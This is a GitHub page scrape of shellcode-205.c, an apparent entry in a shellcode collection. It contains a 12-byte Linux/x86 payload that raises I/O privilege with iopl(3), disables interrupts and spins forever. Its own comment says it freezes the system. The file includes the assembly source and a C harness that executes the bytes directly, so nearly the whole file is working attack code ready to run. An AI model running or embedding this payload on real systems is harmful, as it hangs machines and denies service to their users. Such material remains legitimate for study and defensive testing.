-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathshellcode-205.c
More file actions
executable file
·46 lines (31 loc) · 886 Bytes
/
shellcode-205.c
File metadata and controls
executable file
·46 lines (31 loc) · 886 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/*
:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ dun[at]strcpy.pl ]
[ linux/x86 iopl(3); asm("cli"); while(1){} 12 bytes ]
###############################################################
iopl(3); asm("cli"); while(1){}
// * this code cause freezeing system
#################################################################
__asm__(
"xorl %eax, %eax\n"
"pushl $0x3\n"
"popl %ebx\n"
"movb $0x6e,%al\n"
"int $0x80\n"
"cli\n"
"x1:\n"
"jmp x1\n"
);
*/
char shellcode[]="\x31\xc0\x6a\x03\x5b\xb0\x6e\xcd\x80\xfa\xeb\xfe";
int main() {
void (*sc)();
sc = (void *)&shellcode;
sc();
return 0;
}